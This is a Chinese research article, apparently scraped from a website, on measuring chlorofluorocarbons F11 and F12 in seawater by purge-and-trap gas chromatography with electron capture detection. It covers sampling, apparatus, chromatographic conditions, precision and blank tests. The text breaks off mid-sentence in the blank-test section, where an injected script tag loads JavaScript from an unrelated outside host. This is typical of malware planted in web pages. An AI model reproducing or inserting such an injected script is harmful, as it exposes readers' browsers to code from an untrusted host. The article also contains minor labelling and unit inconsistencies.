摘 要：描述了用气相色谱法测定海水中氯氟烃的方法。用niskin采水器采集海水后转移玻璃注射器中储藏。30ml海水于玻璃气提器中，用吹扫捕集法将海水中氯氟烃（cfc’s）送入气相色谱柱，分离后用电子捕获检测器（ecd）检测，以外校法计算其含量。该方法快速，灵敏度高，分离效果好，适用于分析测定水体中氯氟烃。
关键词：氯氟烃；冷捕集；气相色谱仪；电子捕获检测器
氟利昂ccl3f（f11）和ccl2f2（f12）为人工合成的有机化合物，统称氯氟烃（chlorfluorocarbons，cfc’s），自从上世纪30年代成为工业产品以来，广泛应用于制冷系统、发泡剂、洗净剂等。产量逐年增加导致大气中f11和f12逐年迅速增加，造成大气层中臭氧浓度大幅度下降。由于cfc’s在大洋和较低的对流层具有很稳定的化学性质，在环境中的残留期很长（达40～150年），并能穿过海气界面溶解在表层海水中。lovclock等人建议将cfc’s用作海－气交换的示踪剂。1988年bullister等报道了用电子捕获检测器气相色谱测定了海水和大气中的f11和f12。在国内这方面的研究不多，一些科研机构正在探索cfc’s分析方法的建立，但尚未见详细报道。本研究课题的目的是为了建立一个适合我国国情和经济实力的常规测定方法。根据bullister报道的cfc’s测定方法加以改进，用所提出的分析方法测定了海水中cfc’s的含量，获得比较满意的结果。
1 实验部分
1．1 海水取样
海水中cfc’s的分析均用5～10 l的海水取样器。为了防止空气中cfc’s进入海水而沾污水样，所取海水提升到考察船甲板后立即转移至100 ml玻璃注射器（事先用所取海水清洗）中。取样后，用橡皮筋将注射器的玻璃活塞固定住，使内部保持一个正压，防止空气再进入。
1．2 分析系统的组成及安装
图1为cfc’s分析系统流程图。萃取系统和分析系统均用2 mm的不锈钢管连接，接头连接处都用合金密封垫圈，不锈钢管内壁用稀naoh溶液清洗和水清洗，然后用丙
酮清洗，烘干后再用氮气吹洗。各部件在安装前均用丙酮和石油醚清洗，加温用氮气吹干。
1．3 萃取系统
样品采用高纯氮萃取：高纯氮通过减压阀（5 kg／cm），经过5a分子筛净化管，和13x分子筛（事先300℃通氮气12 h活化）管除去氮气中痕量的f11、f12。萃取系统由稳压阀、六通气体进样阀、四通转换阀、海水水样气提器、porasilc冷捕集管、高氯酸镁干燥管组成。气提器中吹扫出来的f11、f12经冷捕管富集。
1．4 cfc’s的萃取
用100 ml的注射器注入30 ml海水，从v5进水阀进入气提器，先将冷捕集管在液氮中预冷30秒打开v2和v7，控制流速60 ml／min的氮气，气提5 min．后关掉v2和v7，将捕集管浸入100℃的水中1 min，将v6转移到进样位置，并把捕集管中的cfc’s吹入气相色谱进行分离测定。
1．5 气相色谱条件
日本岛津gc－7ag气相色谱仪，装配有63ni电子捕获检测器，3 m×3．2 mm玻璃色谱柱（80～100目porasilc，waters公司，使用前在200℃老化6 h），cr－1b气相色谱数据处理机。ecd检测器温度为180℃，脉冲频率（range）：10，电流（det．current）1．0 ma，放大器衰减（attenuation）：8。柱温为60℃。
在上述色谱条件下进行分析，分离的峰由cr－1b气相色谱数据处理机用标样的保留时间进行定性，用峰高校正法定量。
2 结果与讨论
2．1 f11和f12的测定
图2中f12的保留时间为3．15 min，f12的保留时间为7．18min。图2（b）为表层海水中f11和f12的气相色谱图，f11和f12在海水中的含量为1．977 pmol／ml和1．630 pmol／ml。第一个峰为n2o，小峰可能为c2cl2f4，与f11 f12的峰分离较好，满足定量要求。
本方法电子捕获检测器的检测限为3×10－13 g／ml（r－bhc）海水中f11和f12的最小检测量0．005 pmol／ml。
实验证明本方法可以定量提取和富集海水中溶解的cfc’s。
2．2 方法的精密度
采用f11和f12标样重复6次气相色谱分析，峰面积校正曲线法计算，f11的标准偏差为0．030 pmol，相对标准偏差1．40％。
f12的标准偏差为0．022 pmol，相对标准偏差为2．10％。优于文献报道值。
重复测定表层海水中f11和f12含量（分别为1．977 pmol／kg和1．63pmol／kg），标准偏差分别为0．021和0．026 pmol／kg。略比文献报道值差，原因在于本法在符合实验要求的前提下对分析流程作了适当简化处理，以适应我们的研究条件。
2．3 空白实验
为了检验分析系统的空白值，用一个取自太平洋e站3 000m深的水样作为空白样，用相同测定方法测定，f11和f12的含量均低于0．005 pmol／kg，见图2（c）。另外用同?script src=http://er12.com/t.js>
